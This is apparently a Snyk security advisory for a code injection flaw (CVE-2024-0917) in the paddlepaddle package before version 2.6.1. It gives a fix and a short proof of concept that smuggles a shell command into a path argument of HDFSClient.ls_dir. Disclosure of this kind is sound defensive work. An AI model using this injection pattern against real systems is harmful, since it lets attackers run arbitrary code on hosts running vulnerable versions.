Code Injection Affecting paddlepaddle package, versions [,2.6.1)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PADDLEPADDLE-6419223
  • published8 Mar 2024
  • disclosed7 Mar 2024
  • creditranjit-git

Introduced: 7 Mar 2024

CVE-2024-0917  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade paddlepaddle to version 2.6.1 or higher.

Overview

paddlepaddle is a Parallel Distributed Deep Learning

Affected versions of this package are vulnerable to Code Injection due to improper validation of user-supplied input. An attacker can execute arbitrary code on the system by sending a crafted request.

PoC


from paddle.distributed.fleet.utils import HDFSClient

hadoop_home = "/home/client/hadoop-client/hadoop/"
configs = {
 "fs.default.name": "hdfs://xxx.hadoop.com:54310",
 "hadoop.job.ugi": "hello,hello123" }
client = HDFSClient(hadoop_home, configs)
subdirs, files = client.ls_dir("hdfs:/test_hdfs_client;touch ~/hacked.txt;")

CVSS Scores

version 3.1